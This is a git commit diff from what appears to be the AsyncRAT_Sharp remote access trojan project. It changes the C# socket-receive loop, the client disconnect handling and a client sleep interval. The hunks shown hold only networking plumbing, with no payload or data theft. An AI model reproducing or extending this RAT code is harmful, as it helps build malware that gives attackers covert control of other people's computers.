This commit is contained in:
NYAN CAT 2019-01-24 02:55:53 -08:00
parent 63afbfc91f
commit 7dc1a4c8ff
3 changed files with 36 additions and 34 deletions

View File

@ -49,4 +49,4 @@ namespace AsyncRAT_Sharp
listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
} }
} }
} }

View File

@ -39,52 +39,55 @@ namespace AsyncRAT_Sharp.Sockets
public async void ReadClientData(IAsyncResult ar) public async void ReadClientData(IAsyncResult ar)
{ {
try try
{ {
int Recevied = client.EndReceive(ar); if (!client.Connected)
if (Recevied > 0)
{ {
Disconnected();
if (BufferRecevied == false) }
else
{
int Recevied = client.EndReceive(ar);
if (Recevied > 0)
{ {
if (Buffer[0] == 0) if (BufferRecevied == false)
{ {
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); if (Buffer[0] == 0)
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize - 1]; Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
BufferRecevied = true; MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize - 1];
BufferRecevied = true;
}
}
else
{
await MS.WriteAsync(Buffer, 0, Buffer.Length);
} }
} }
else else
{ {
await MS.WriteAsync(Buffer, 0, Buffer.Length); await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
Read?.BeginInvoke(this, MS.ToArray(), null, null);
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
MS.Dispose();
MS = new MemoryStream();
}
} }
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
} }
else else
{ {
await MS.WriteAsync(Buffer, 0, Recevied); Disconnected();
if (MS.Length == Buffersize)
{
Read?.BeginInvoke(this, MS.ToArray(), null, null);
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
MS.Dispose();
MS = new MemoryStream();
}
} }
} }
else
{
Disconnected();
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
} }
catch catch
{ {
@ -96,7 +99,7 @@ namespace AsyncRAT_Sharp.Sockets
public void Disconnected() public void Disconnected()
{ {
if (Program.form1.listView1.InvokeRequired) if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.Invoke(new _isDisconnected(Disconnected)); Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
else else
{ {
LV.Remove(); LV.Remove();

View File

@ -23,7 +23,7 @@ namespace Client
InitializeClient(); InitializeClient();
while (true) while (true)
{ {
Thread.Sleep(1000); Thread.Sleep(1500);
} }
} }
@ -143,7 +143,6 @@ namespace Client
} }
break; break;
} }
} }
public static void BeginSend(byte[] Msgs) public static void BeginSend(byte[] Msgs)